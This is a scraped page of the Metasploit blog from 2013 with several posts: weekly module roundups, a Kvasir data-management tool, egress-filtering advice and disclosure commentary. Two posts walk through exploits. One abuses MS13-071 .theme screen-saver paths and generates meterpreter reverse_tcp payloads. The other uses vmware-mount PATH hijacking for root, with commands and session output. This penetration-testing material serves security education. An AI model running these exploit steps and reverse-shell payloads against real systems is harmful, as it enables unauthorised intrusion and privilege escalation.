Skip navigation
All Places > Metasploit > Blog
15 16 17 18 19 Previous Next

Metasploit

658 posts

Let's Curbstomp Windows!

This week, we've got two new exploits for everyone's favorite punching bag, Microsoft Windows. First up, we'll take on Microsoft Internet Explorer. MSIE has a long and storied history of browser bugs, but truth be told, they're really pretty hard to exploit reliably these days. If you don't believe me, take a look at the hoops we had to jump through to get reliable exploits together for MS13-069.

 

MS13-069 was released on September 10, 2013 to address at least 10 vulnerabilies, one of them being CVE-2013-2305. This is the "Caret Use-After-Free" vulnerability, discovered and reported to Microsoft by friend of the show, corelanc0d3r. This module, written by Wei sinn3r Chen, is pretty well commented and, for extra points, uses a custom ROP chain.  So, if you're looking to start your stylish and dangerous career as a MSIE bug hunder, you'd do worse than to study the notes on this module.

 

The other Windows exploit is for MS13-071, which patched the Windows Theme system for Windows versions prior to Windows 7. This module is particularly neat because while it's file format exploit, it comes with the option of firing up your own UNC server from within Metasploit. This was written by The World's Friendliest Exploit Dev, Juan Vazquez, and he discusses it at length in his blog post, where he discusses the path to remote code execution in detail.

 

Serving up file format exploits over a temporary SMB share point is pretty new (and requires you to run Metasploit as root on a non-Windows system, like Kali Linux), so it's only supported in this module on an experimental basis. If this kind of thing turns out to be useful, we can look at promoting the code involved to the SMB server mixin proper, as well as getting a better WebDAV server running as well.

 

Hashtag Contest!

We're also kicking off a Twitter hashtag-based contest for some sweet Metasploit T-shirts (because we seriously have a huge pile of these since our last design contest), and a pair of stylish (read: bright orange) Beats By Dre noise-cancelling headphones, perfect for use with Metasploit's microphone spying modules. You can read up on the details over on the Infosec Community blog post, by Rapid7 community manager Patrick Hellen.

 

New Modules

Including the two discussed above, we've got nine new modules this week, all of them exploits.

 

Exploit modules

 

If you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows. If you're already tracking the bleeding-edge of Metasploit development, then these modules are but an msfupdate command away. For readers who prefer the packaged updates for Metasploit Community and Metasploit Pro, you'll be able to install the new hotness today when you check for updates through the Software Updates menu under Administration.

 

For additional details on what's changed and what's current, please see Brandont's most excellent release notes.

Recently we've added an exploit for MS13-071 to Metasploit. Rated as "Important" by Microsoft, this remote code execution, found by Eduardo Prado, for Windows XP and Windows 2003 environments is achieved by handling specially crafted themes. In this blog post we would like to discuss the vulnerability and give some helpful tips for exploiting it from Metasploit.

 

First of all, the bug occurs while handling the [boot] section on .theme files, where an arbitrary path can be used as screen saver:

 

 

boot_section.png

 

Since SCR files are just Windows executables, the vulnerability can be exploited by locating a malicious EXE on a shared folder, and distributing a malicious .theme referencing the remote screen saver, for example "SCRNSAVE.EXE=\\host\share\exploit.scr". When the victim opens the .theme and visits the Screen Saver tab the payload will be executed:

 

payload_exec.png

 

The code execution is also triggered if the victim installs the malicious theme and stays away from the computer, when Windows tries to display the screensaver.

 

In order to solve it, the Microsoft patch adds a new function, EnsureInfoxScreenSaver(), which tries to verify the screen saver path:

 

patch.png

 

With the vulnerability analyzed, writing a file format exploit and exploit it isn't hard if you take two things into account:

 

  • There is a malicious .theme file which the victim must open
  • There is a payload embedded into an exe, and masked as scr, which must be distributed through a shared folder.

 

That said, we're going to see how to use the current Metasploit, which allows two operation modes:

 

  • Use an external shared resource (Samba Server or Windows shared folder) to deploy the malicious screen saver. In this case:


1) Configure the UNCPATH option:

 

msf exploit(ms13_071_theme) > set UNCPATH \\\\192.168.172.243\\exploit\\exploit.scr
UNCPATH => \\192.168.172.243\exploit\exploit.scr
msf exploit(ms13_071_theme) > rexploit
[*] Stopping existing job...
[*] Reloading module...
[*] Exploit running as background job.

[*] Started reverse handler on 10.6.0.165:4444 
[*] Remember to share the malicious EXE payload as \\192.168.172.243\exploit\exploit.scr
[*] Creating 'msf.theme' file ...
[+] msf.theme stored at /Users/juan/.msf4/local/msf.theme
[+] Let your victim open msf.theme

 

2) Deploy the payload, embedded into an exe, on the UNCPATH location:

 

./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.172.1 LPORT=4444 X > /tmp/exploit.scr

Created by msfpayload (http://www.metasploit.com).

Payload: windows/meterpreter/reverse_tcp

Length: 290

Options: {"LHOST"=>"192.168.172.1", "LPORT"=>"4444"}

 

3) Finally run a handler for the payload, distribute the malicious .theme file (generated on 1) ) and wait for sessions:

 

msf exploit(ms13_071_theme) > use exploit/multi/handler 
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.172.1
lhost => 192.168.172.1
msf exploit(handler) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444 
[*] Starting the payload handler...
[*] Sending stage (770048 bytes) to 192.168.172.203
[*] Meterpreter session 1 opened (192.168.172.1:4444 -> 192.168.172.203:1668) at 2013-09-18 13:57:25 -0500

meterpreter > getuid
Server username: SMALLBUSINESS\Administrator
meterpreter > sysinfo
Computer        : JUAN-6ED9DB6CA8
OS              : Windows .NET Server (Build 3790, Service Pack 2).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

 

 

  • Use the embedded SMBServer support into the module. In this case, just configure the SRVHOST option to listen on an address reachable by the victims, and let the embedded SMBServer mixin to work. Distribute the .theme file and wait for the sessions:

 

msf exploit(ms13_071_theme) > rexploit
[*] Stopping existing job...
[*] Reloading module...
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.172.1:4444 
[*] Generating our malicious executable...
[*] Creating 'msf.theme' file ...
[+] msf.theme stored at /Users/juan/.msf4/local/msf.theme
[+] Let your victim open msf.theme
[*] Ready to deliver your payload on \\192.168.172.1\JalVNbsrN\sCOmK.scr
[*] Server started.
msf exploit(ms13_071_theme) > [*] Sending stage (752128 bytes) to 192.168.172.203
[*] Meterpreter session 1 opened (192.168.172.1:4444 -> 192.168.172.203:1637) at 2013-09-18 13:31:27 -0500

msf exploit(ms13_071_theme) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: SMALLBUSINESS\Administrator
meterpreter > sysinfo
Computer        : JUAN-6ED9DB6CA8
OS              : Windows .NET Server (Build 3790, Service Pack 2).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
meterpreter > exit

 

The SMBServer mixin needs (root) privileges to bind to the port 445/TCP. It will also fail if the port is busy (common on Windows environments or Samba servers). Since the code overriding the SMBServer mixin is brand new, I'd love to hear from you if it worked for you. Remember it has been tested only for Windows XP SP3 and Windows 2003 SP2 - the currents targets for this exploit.

 

Want to try this out for yourself? Get your free Metasploit download now or update your existing installation, and let us know if you have any further questions or comments

VulnBubbles.pngData management is half the battle for penetration testing, especially when you're auditing large networks. As a penetration tester with Cisco’s Advanced Services, I've created a new open source tool called Kvasir that integrates with Metasploit Pro, Nexpose, and a bunch of other tools I use regularly to aggregate and manage the data I need. In this blog post, I'd like to give you a quick intro what Kvasir does - and to invite you to use it with Metasploit Pro.

 

Cisco’s Advanced Services has been performing penetration tests for our customers since the acquisition of the Wheel Group in 1998. We call them Security Posture Assessments or SPA for short, and I’ve been pen testing for just about as long. During our typical assessments we may analyze anywhere between 2,000 and 10,000 hosts for vulnerabilities, perform various exploitation methods such as account enumeration and password attempts, buffer/stack overflows, administrative bypasses and others. We then have to collect and document our results within the one or two weeks we are on-site and prepare a report.

 

How can anyone keep track of all this data, let a lone work together as a team? Are you sure you really found the holy grail of customer data and adequately documented it? What if you’re writing the report but you weren’t the one who did the exploit?

 

The answer is to build a data management application that works for you. The first iterations the SPA team created were a mixture of shell, awk, sed, tcl, perl, expect, python and whatever else engineers felt comfortable programming in. If you remember the Cisco Secure Scanner product (aka NetSonar) then our early tools were this with extra goodies.

 

Welcome to the 21st Century

As time moved on our tools became unfriendly to larger data sets, inter-team interaction, and support of new data types were difficult. The number of issues detected by vulnerability scanners started to increase and while we have always been able to support very large environments the edges were starting to bulge.

 

We don’t believe this scenario is unique to us. We also don’t believe current publicly available solutions really help. Most teams we’ve talked with have used a variant of issue tracking software (TRAC, Redmine) or just let Metasploit Pro handle everything.

 

We think this isn’t good enough which is why we are releasing our tool, Kvasir, as open source for you to analyze, integrate, update, or ignore. We like the tool a lot and we think it fills a missing key part of penetration testing. It’s not perfect but it’s grown up a lot and will improve.

 

What’s Kvasir?

Kvasir is a web-based application with its goal to assist “at-a-glance” penetration testing. Disparate information sources such as vulnerability scanners, exploitation frameworks, and other tools are homogenized into a unified database structure. This allows security testers to accurately view the data and make good decisions on the next attack steps.

 

Multiple testers can work together on the same data allowing them to share important collected information. There’s nothing worse than seeing an account name pass by and finding out your co-worker cracked it two days ago but didn’t find anything “important” so it was never fully documented.

 

Supported Data Sources

At current release Kvasir directly supports the following tools:

  • Rapid7 Nexpose Vulnerability Scanner
  • Rapid7 Metasploit Pro (limited support for Express/Framework data)
  • Nmap Security Scanner
  • ShodanHQ
  • THC-Hydra
  • Foofus Medusa
  • John The Ripper
  • …and more!

 

Nexpose  and Metasploit Pro Integration

Since the SPA team generally uses Rapid7’s Nexpose  and Metasploit Pro, Kvasir integrates with these tools via API. We purposefully did not incorporate some features but may have future plans for others.

 

The importation of Nexpose site reports is fully automated. Just pick a site and let Kvasir generate the XML report, download and parse it! After parsing, the scan file can be imported into a Metasploit Pro instance.

 

For Metasploit Pro results you must first generate an XML report but after that is done Kvasir will download and parse it automatically. Kvasir also supports the db_creds output and will automatically import pwdump and screenshots through the Metasploit Pro API.

 

Metasploit Pro’s automatic Bruteforce and Exploit features can be called directly from Kvasir. Just select your list of target IP Addresses and go!

 

From Vulnerability to Exploit

So you have a host with a list of vulnerabilities, but what is exploitable? Metasploit Pro as well as other exploit frameworks and databases are mapped to vulnerability and CVE entries granting the user an immediate view of potential exploitation methods.

 

Screenshots!

The initial screen of Kvasir shows two bar graphs detailing the distribution of vulnerabilities based on severity level count and host/severity count as well as additional statistical data:

 

1.png

 

A tag-cloud based on high-level severities (level 8 and above) is included which may help pinpoint the highest risk vulnerabilities. This is based solely on vulnerability count.

 

Kvasir’s Host Listing page displays details such as services, vulnerability counts, operating systems, assigned groups and engineers:

 

2.png

 

 

Kvasir supports importing exploit data from Nexpose (Exploit Database and Metasploit) and other tools. Link to exploits from vulnerabilities and CVE assignments are made so you can get an immediate glance at what hosts/services have exploitable vulnerabilities.

 

3.png

 

The host detail page provides an immediate overview of valuable information such as services, vulnerability mapping, user accounts, and notes, all shared between testing engineers:

 

4.png

 

Of course as you collect user accounts and passwords it’s nice to be able to correlate them to hosts, services, hashes and hash types, and sources.

 

5.png

 

Where can I get more info?

For more information, see my post on Kvasir on the Cisco blog. You can also get the Kvasir source code on GitHub. Fork, Install, Review, Contribute!

todb

Weekly Update

Posted by todb Employee Sep 18, 2013

Windows Meterpreter: Reloaded

If you've been around Metasploit for any length of time, you know that Meterpreter is the preferred and de facto standard for manipulating a target computer after exploit. While Meterpreter and Metasploit go hand-in-hand, we did manage to get some code seperation between the two by breaking Windows Meterpreter out to its own open source respository on GitHub.

 

As threatened in a previous blog post, we've got some fresh eyeballs looking at that codebase. One of the major hassles with maintaining and improving Meterpreter has been its finicky build requirements. Well, that's been pretty much totally solved; thanks to the valiant efforts by OJ Reeves, building Meterpreter from source locally is as simple as a) ensuring you have the documented build dependencies, then running 'make.' Yep, good old trusty 'make.' That's it!

 

Getting a sane and understandable build environment is but the first step for getting a stable, testable- and buildable-by-anyone Meterpreter out there, and has already resolved a bug or two that's been bothering us forever. For example, thanks to this refresh, OJ was able to spot and fix a problem with 64-bit pointer truncation that was wanging up process migration under certain circumstances.

 

So, if you're of the Windows C++ developer persuasion, and have a favorite bug in Meterpreter, please check out the new environment. I promise, you won't end up clawing your eyes out over build errors and warnings. If you do, please, a) get to a hospital, and then, b) file a bug. If you just care about having fresh binaries to use on your engagement, the shipping code has been compiled for you and is already hanging out in your Metasploit distribution of choice.

 

Gemfile updates

If you're running a packaged build, you won't notice anything about the recent refresh of a pile of Ruby gem dependencies; the installers and updaters all take care of these things for you. However, if you're running Metasploit straight from a git repo (either ours or some fork of Rapid7's), you'll want to run either 'bundle install' to get a quick refresh, or update with 'msfupdate' (which takes care of these things for you).

 

These gem updates are not particularly exciting, but I know that when people update and see the warning about missing Ruby gems, they occasionally freak out and think that everything's broken. Don't fret. All you need to do is get your gems refreshed and you'll be back in the exploitation business in just a minute.

 

New Modules

We've got ten new modules this week -- seven exploits, three auxiliary modules. Of particular interest are the two new exploits targeting the Sophos Web Appliance. If you're relying on this gear to help protect your internal user base from evilness on the Web, you will definitely want to update to the latest patched version. It can be pretty career-limiting when when your enterprise gets owned via a vulnerability in security software.

 

Exploit modules

 

Auxiliary modules

 

If you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows. If you're already tracking the bleeding-edge of Metasploit development, then these modules are but an msfupdate command away. For readers who prefer the packaged updates for Metasploit Community and Metasploit Pro, you'll be able to install the new hotness today when you check for updates through the Software Updates menu under Administration.

 

For additional details on what's changed and what's current, please see Brandont's most excellent release notes.

Exploiting Internet Explorer (MS13-055)

 

This week, we open with a new IE exploit. This is a pretty recent patch (from July, 2013), and more notably, it appears it was silently patched without attribution to the original discoverer, Orange Tsai. So, if you're a desktop IT admin, you will certainly want to get your users revved up to the latest patch level. Thanks tons to Peter WTFuzz Vreugdenhil and of course Wei sinn3r Chen for knocking this exploit out.

 

While the silent patch killed Orange's 0-day a week before he was scheduled to present it at Hitcon, this does seem to imply that the folks at Microsoft are getting better and better at running their own fuzzers at Internet Explorer. That's ultimately Good News for the Internet, and demonstrates that software vendors continue to take post-development security seriously.

 

That said, let's take a look at the other end of the spectrum...

 

GE Proficy Directory Traversal (ICSA-13-022-02)

Also this week, we have a new module from our own Juan Vazquez, exploting a bug found in something called GE Proficy Cimplicity. For details, see the link below. With it, unauthenticated users can snag pretty much any file off of the target (Windows-based) machine, which of course includes sensitive files.

 

I bring this module up in particular because this GE Proficy is used in SCADA applications, which, if you've been paying attention, means that there is a huge, untapped attack surface there. Take this bug for example; it's a straight directory traversal. No need for fancy encodings, tricky filter evasions, or anything like that; just ../../../../ your way up to the goods on the machine running this web server.

 

I know, pretty leet.

 

I don't want to knock GE too hard on this, of course, since this is pretty much the state of affairs with any class of security bug you care to name when it comes to SCADA and embedded devices. Working on auditing these applications is like stepping back into the 20th Century while being armed with fancy, free exploit toolkits from the 21st.

 

I've worked on some disclosure material with ISC-CERT, which is the clearinghouse for these kinds of vulnerabilities, and I know those guys are plenty capable and know what they're doing. I just feel like we see this kind of thing in SCADA-land over, and over, and over again, so I kind of feel like we're getting something wrong, as a security industry, when it comes to educating these hardware vendors on how to conduct themselves when releasing software. What can we do better? How can we impart the last 10 years of secure coding know-how to the people that are providing critical infrastructure? I'm hopeful that if Metasploit modules attacking this stuff gets out there in the public, it'll be a wake-up call. Is there a better way?

 

Space Conflicts

It was as if a million tabs cried out in terror, and were suddenly silenced. As threatened in last week's blog post, we pulled the trigger on retabbing two big chunks of Metasploit, the /lib and /modules directories. If you're a Metasploit contributor, and you notice that your recent or upcoming pull request is suddenly in a conflicted state, this is almost certainly why. Dealing with it is pretty straight forward -- please see  http://r-7.co/MSF-TABS for some instructions on how to unconflict your shiny new patches and feature additions.

 

Note, this won't interefere at all with entirely new modules (which is why not all of the outstanding PRs were conflicted), but even so, you should get used to normal two-space tabs for your Metasploit programming. In the meantime, now is a fine time to rebase your own fork of rapid7/metasploit-framework master branch against ours. On normal ISP speeds, this should take but a moment, even though it's more than a half-million lines of change. Aren't you glad we ditched SVN last year?

 

New Modules

We've got five new modules this week, two exploits, two auxiliary modules, and one post.

 

Auxiliary and post modules

 

If you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows. If you're already tracking the bleeding-edge of Metasploit development, then these modules are but an msfupdate command away. For readers who prefer the packaged updates for Metasploit Community and Metasploit Pro, you'll be able to install the new hotness today when you check for updates through the Software Updates menu under Administration.

 

For additional details on what's changed and what's current, please see Brandont's most excellent release notes.

Meterpreter Updates

This is a big week for Meterpreter. For starters, we've landed a new Meterpreter Python payload. Yes, yes, I know, you thought that Metasploit was all Ruby all the time, but this and the Python payloads for bind shells from Spencer McIntyre should help out on advancing the state of Meterpreter by leaps and bounds. Despite Metasploit's massive Ruby footprint, most security developers know Python well enough to scratch their own penetration testing itches in it, so I'm looking forward to a lot of active development here. Plus, since Python is part of the Linux Standard Base, you're quite likely to find it on pretty much any normal Linux distribution, so it should see a lot of use for non-Microsoft targets.

 

In other Meterpreter news, we have a new contributor entering the fray on the Windows 32-bit and 64-bit side by the name of OJ Reeves. His entire mission in life (at least, for now) is to make it much easier for normal humans to compile, test, and extend Meterpreter for Windows platform. If you've been down this hacking Meterpreter path in the past, you know what kind of pit vipers can be lurking in that code, so expect to see some massive improvements there in the next couple weeks.

 

VMWare Setuid Exploit (CVE-2013-1662)

This week also sees a new local privilege exploit targeting Linux, the VMWare Setuid vmware-mount Unsafe popen(3) module (aka, vmware-mount.rb). Discovered by Google's Tavis Ormandy and implemented by our own James Egypt Lee, this exploits a setuid vulnerability that takes advantage of a VMWare installation to sneak a root shell. Egypt discusses the Metasploit implementation at length in this blog post, so I encourage you to check it out. Note that this module does not enable attackers to escape from the VMWare guest to the host operating system; it's specifically useful for taking advantage of a VMWare installation to elevate privileges on the host OS itself.

 

More OSX Hijinks

The other set of modules I want to hilight is a trio from Rapid7's Joe Vennix: the OSX Capture Userspace Keylogger module, the OSX Manage Record Microphone module, and the OSX Manage Webcam module. As you can probably guess by their titles, these are all post-exploit modules penetration testers can exercise to extend their eyes and ears into the site under test. These kind of Hollywood-hacker style post-exploit tricks are exactly the kind of thing that great to demo to clients to help explain the true risk associated with Apple desktop / laptop bugs, since they are, by their nature, pretty dramatic and fun to use.

 

Tab Assassin @Tabassassin

 

Finally, this week, we're going to be pulling the trigger on the great retabbing of Metasploit in order to bring us up to the normal, regular coding standards common to Ruby projects. While I have every expectation this change will be traumatic for long-time contributors, we're faithfully document everything along the way under the shortlink http://r-7.co/MSF-TABS. If you have patches and pull requests that are suddenly thrown into a conflicted state this week, the retabbing from @Tabassassin (pictured right) is probably the root cause. But never fear, just read the fine material regarding the change, and you should be back into an unconflicted state in two shakes.

 

New Modules

We've got eleven new modules this week. Including the ones mentioned above, we've got another three ZDI-derived exploits (which are always informative), a really nicely commented implementation of the MS13-059 exploit for Internet Explorer, and a pair of Windows post modules that can be used to further extend control over the victim machine. As always, thanks everyone for your contributions!

 

Exploit modules

 

Auxiliary and post modules

 

If you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows. If you're already tracking the bleeding-edge of Metasploit development, then these modules are but an msfupdate command away. For readers who prefer the packaged updates for Metasploit Community and Metasploit Pro, you'll be able to install the new hotness today when you check for updates through the Software Updates menu under Administration.

 

For additional details on what's changed and what's current, please see Brandont's most excellent release notes.

On August 22, Tavis Ormandy dropped a bug in VMWare that takes advantage of a build configuration in Linux distributions. Providing you have user-level access to a Debian or Ubuntu box with VMWare installed, this exploit gives you root access. It's a fun bug and I want to explain how the Metasploit module for it works:

 

The background

There's this thing called priv_mode in bash that means it will drop privs if euid != uid. Anyone who has ever tried to "chmod +s /bin/sh" will recognize this as a minor frustration that is easily circumvented by simply writing a wrapper in C that does something like:

int main(int argc, char **argv) {
  setresuid(0,0,0);
  execl("/bin/sh");
  return 0;
}


 

That is not the thing that priv_mode is meant to fix (although it is annoying if you don't know what's happening when it appears that your privilege escalation bug is getting you an unprivileged shell). What it is really effective at stopping is the case of a setuid binary calling system(3) or popen(3) before dropping privs. It turns out that VMWare Workstation and Player ship with a binary called vmware-mount that does exactly this.

 

The steps for achieving privilege escalation are pretty straight forward:

  1. Create an executable to be used as our payload
  2. Write it to the host OS's filesystem (in this case, we have to call it lsb_release)
  3. Mark it executable
  4. Run the vulnerable setuid binary

 

The exploit

This exploit will drop our payload as an executable, so first we include the Msf::Exploit::EXE mixin, which will give us access to several convenience methods for creating executables.

include Msf::Exploit::EXE

 

Then, in the exploit method, we create an ELF file with generate_payload_exe. This method is smart enough to build the right kind of executable for whatever platform and architecture is supported by the module and currently selected. Then we just write the file and execute the vulnerable utility with the current directory added to the path. These three lines are basically the meat of the exploit.

write_file("lsb_release", generate_payload_exe)
cmd_exec("chmod +x lsb_release")
cmd_exec("PATH=.:$PATH vmware-mount")

 

When our shell runs, it will block the controlling process. In our case, that would cause the existing shell session to hang, which is pretty impolite. To solve that problem, we prepend some shellcode to the generated binary that just forks and exits the parent process, leaving our payload to happily frolick about in the background.

 

The money shot

15:09:57 0 1 exploit(vmware_mount) > sessions -i 1
[*] Starting interaction with 1...

id
uid=1000(egypt) gid=1000(egypt) groups=1000(egypt),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),107(lpadmin),124(sambashare)
^Z
Background session 1? [y/N]  y

15:09:05 0 1 exploit(vmware_mount) > show options

Module options (exploit/linux/local/vmware_mount):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION  1                yes       The session to run this module on.


Payload options (linux/x86/shell/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.99.1     yes       The listen address
   LPORT  1234             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


15:09:10 0 1 exploit(vmware_mount) > run

[*] Started reverse handler on 0.0.0.0:1234
[*] Max line length is 65537
[*] Writing 175 bytes in 1 chunks of 529 bytes (octal-encoded), using printf
[*] Sending stage (36 bytes) to 192.168.99.1
[*] Command shell session 2 opened (192.168.99.1:1234 -> 192.168.99.1:41671) at 2013-09-04 15:08:16 -0500

id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),107(lpadmin),124(sambashare),1000(egypt)

 

Want to give this a try yourself?

 

If you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows. If you're already tracking the bleeding-edge of Metasploit development, then these modules are but an msfupdate command away. For readers who prefer the packaged updates for Metasploit Community and Metasploit Pro, you'll be able to install the new hotness today when you check for updates through the Software Updates menu under Administration.

Sudo password bypass on OSX

This week's update includes a nifty local exploit for OSX, the sudo bug described in CVE-2013-1775. We don't have nearly enough of these Apple desktop exploits, and it's always useful to disabuse the Apple-based cool-kids web app developer crowd of the notion that their computing platform of choice is bulletproof.

 

Joe Vennix, the principle author of this module, is, in fact, of that very same Apple-based developer crowd, and usually busies himself on cranking out features for Metasploit Pro. But, he's been hanging out with the wrong crowd -- the exploit devs here at Rapid7 -- so over the weekend, he put together this implementation of Todd C. Miller's and Marco Schoepl's sudo time-changing bug. Turns out, OSX allows regular users to adjust the system time. This, in turn, creates the opportunity to promote and escalate the privileges of a compromised user account to root without having to know that user's password, assuming the victim user has used sudo at least once before (which is often the case for local OSX users).

 

Pretty neat trick. For more details on why this works, see the oss-sec post from early this year. Thanks Joe!

 

Housekeeping!

So, I don't know if you noticed, but over the last couple weeks, we've managed to hack and slash our way through a great big pile of Metasploit Framework bugs. First off, we just came off a Rapid7 push to shore up the continuous integration test infrastructure -- you can peek in on that at Travis-CI, and see that we juiced up the number of automated tests from about 980 to (as of now) 1,437 automatic tests that run with every build. Pretty much everyone here in the Rapid7 Metasploit hideout helped out with that, and so today, we have a really solid foundation for you, the community contributor, to start putting together useful regression testing on your favorite chunk of Metasploit.

 

In addition, our own Wei @sinn3r Chen took up the cause of cleaning up a bunch of existing modules to conform to our current code standards, opening and resolving about 50 tickets just on his own.

 

The moral of this story is that contributing to Metasploit Framework can be more than what most people think of -- writing exploit modules that exercise vulnerabilities. While that kind of work is probably the most fun and glamorous part of Metasploit, there are a lot of areas that could use automated testing, cleanup, and focused bug hunting. So, if you're more of a general Ruby hacker and not so much a security-focused hacker, that's totally okay by me. Feel free to jump in and fire off pull requests in our direction that provide repeatable testing for core Metasploit functionality, and you'll have a direct impact on improving the state of the art of open source security.

 

New Modules

We've got three new exploits this week. A little less than usual, but man did we clean up a bunch of older modules. Twenty four in all were touched for this release.

 

 

If you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows. If you're already tracking the bleeding-edge of Metasploit development, then these modules are but an msfupdate command away. For readers who prefer the packaged updates for Metasploit Community and Metasploit Pro, you'll be able to install the new hotness today when you check for updates through the Software Updates menu under Administration.

 

For additional details on what's changed and what's current, please see Brandont's most excellent release notes.

Most companies have firewall rules that restrict incoming traffic, but not everyone thinks to restrict data leaving the network. That's a shame, because a few easy configurations can save you a lot of headaches.

 

Firewall egress filtering controls what traffic is allowed to leave the network, which can prevent leaks of internal data and stop infected hosts from contacting their command & control servers. NAT alone won't help you - you actually have to restrict the ports through which your internal hosts can communicate with the outside world. Consider this interesting story on the Spiceworks Community about a company getting heavily infected with malware - and one of their lessons learned:

 

spiceworks-GUIn00b.png"We’ve concluded that it’s worth it to configure a firewall with an "Allow Only/Deny All" rule set for a LAN. That is to only allow the LAN services specifically defined in the firewall’s rule sets and otherwise deny all other traffic. There have been discussions before about the risk implications of the reciprocate method, which is what we were configured with at the time -- a "Deny Only/Allow All" LAN rule set. That is where ALL LAN sources using ANY TCP/UDP protocol are allowed to reach ANY LAN or WAN destination unless otherwise specifically denied. The argument for that is it allows your internal services to function and allow your traffic OUT unhindered while still keeping things from getting IN, which is true and is a common practice. However, it is abundantly clear that had we been using the more restrictive methodology of "Allow Only/Deny All" on our LAN just as is always the case for the WAN, we would have inherently been blocking outgoing traffic on the 8xxx and 9xxx ports this thing was using to contact its Command & Control servers and dump sites."

 

If you don't do any firewall egress filtering today, there are two basic directions you could go in:

 

  1. If you have a high appetite for security, block everything except ports you really need and filter all web traffic through a proxy. However, this approach requires you to know which ports are required by your business, and which ones show traffic but are not necessary. The risk of getting it wrong is relatively high, so you need to do a lot of upfront work talking to the business owners of all internal applications to map out which ports are required from which systems.
  2. The easier route is to allow everything but block certain ports and ranges that are most likely to expose your network. For example, just blocking IRC and NetBIOS/SMB traffic can save quite a bit of future pain.

 

The Firewall Egress FAQ from SANS is a great paper to help you with your journey. In a nutshell, here is the minimum level of traffic you should be filtering:

 

  • MS RPC (TCP & UDP 135)
  • NetBIOS/IP (TCP 139 & UDP 137)
  • SMB/IP (TCP 445)
  • Trivial File Transfer Protocol - TFTP (UDP 69)
  • Syslog (UDP 514)
  • Simple Network Management Protocol – SNMP (UDP 161-162)
  • SMTP from all IP's but our mail server (TCP 25)
  • Internet Relay Chat – IRC (TCP 6660-6669)
  • ICMP Echo-Replies (type 0 code 0)*
  • ICMP Host Unreachables (type 3 code 1)*
  • ICMP Time Exceeded in Transit (type 11 code 0)*

 

*Some folks will argue that blocking ICMP breaks with RFC 1812 and is generally anti-social, but it can be a good idea security-wise. Feel free to comment below if you have a point of view on this.

 

There is an easy way to test whether these ports are blocked on your firewall: The latest version of Metasploit Pro includes a Firewall Egress Testing MetaModule that contacts an external server on any TCP ports you specify and provides you with a report of open, filtered, and closed ports. It's so easy to use that it doesn't really require an explanation - here's a screenshot of the interface:

 

firewall-egress-filtering-testing-metasploit.png

 

If you'd like to test out Metasploit Pro's new Firewall Egress Testing MetaModule, you can get a Metasploit trial version on the Rapid7 website.

Cooperative Disclosure

I'm in attendance this year at Rapid7's UNITED Security Summit, and the conversations I'm finding myself in are tending to revolve around vulnerability disclosure. While Metasploit doesn't traffic in zero-day vulnerabilities every day, it happens often enough that we have a disclosure policy that we stick to when we get a hold of newly uncovered vulnerabilities.

 

What's not talked about in that disclosure policy is the Metasploit exploit dev community's willingness to help you, the unaffiliated researcher, to build out Metasploit modules that exercise your new awesome bug. While the usual procedure is to put together your module and send us a Pull Request, if you're dealing in undisclosed vulns, you probably don't want to spill the beans before your disclosure is public and the vendor has had a chance to react.

 

In those cases, a little more private tutelage might be the thing for you. This week, Juan Vazuquez did just that with contributor Charlie Eriksen and his shiny new Graphite vulnerability. It's pretty easy to put together a private git repo, work out whatever bugs, cleanup, and style tips that are necessary for your module to hit the prime time, and then land it to the main Metasploit distribution once the disclosure parts are done.

 

Expressing a new vulnerability as a Metasploit module is more than mere fame and fortune for the exploit dev. Public Metasploit modules are just about the best way today to bring public visibility to your bug. This, in turn, has a nearly magical effect on get patches rolled out or other mitigation in record time, which makes the Internet as a whole a stronger, more resilient, and more useful network.

 

So, if you're sitting on some undisclosed vulnerabilities and you're not super sure how to go about turning them into generally useful Metasploit modules, just ask! Both the Rapid7-employed exploit devs and the larger Metasploit community are always happy to help out with some mano-y-mano module writing, and we're pretty good at keeping new, undisclosed vulns off of Twitter (at least, for a little while).

 

Joomla Bug in the Wild

Speaking of patching, late last week, Metasploit exploit developer Juan Vazquez wrote up the latest Joomla bug as part of putting together a module to exploit it. I won't rehash it all here, but if you're of the Joomla persuasion, this will hopefully be another example of a public Metasploit module spurring along your own scanning and patching process.

 

If you run an enterprise IT shop, you know that Joomla is one of those technologies that has a tendency to pop up in your environment, even if it's not on your explicit whitelist of approved technologies. It's pretty easy to set up and use, so you might be surprised to find it humming along in your environment as people (with all the best intentions!) fire up an instance to run their local knowledge base or internal blog or whatever. And, since those folks aren't running sanctioned and blessed IT-approved software, who knows if they'be been keeping up on their patches. So, along with this latest module, it might be a good time to break out the old Joomla Version scanner module to tally up what's running.

 

New Modules

We've got ten new modules this week, including the new Joomla module mentioned above. Enjoy!

 

Exploit modules

 

Auxiliary and post modules

 

Availability

If you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows. If you're already tracking the bleeding-edge of Metasploit development, then these modules are but an msfupdate command away. For readers who prefer the packaged updates for Metasploit Community and Metasploit Pro, you'll be able to install the new hotness today when you check for updates through the Software Updates menu under Administration.

 

For additional details on what's changed and what's current, please see Brandont's most excellent release notes.

juan.vazquez

Time To Patch Joomla

Posted by juan.vazquez Employee Aug 15, 2013

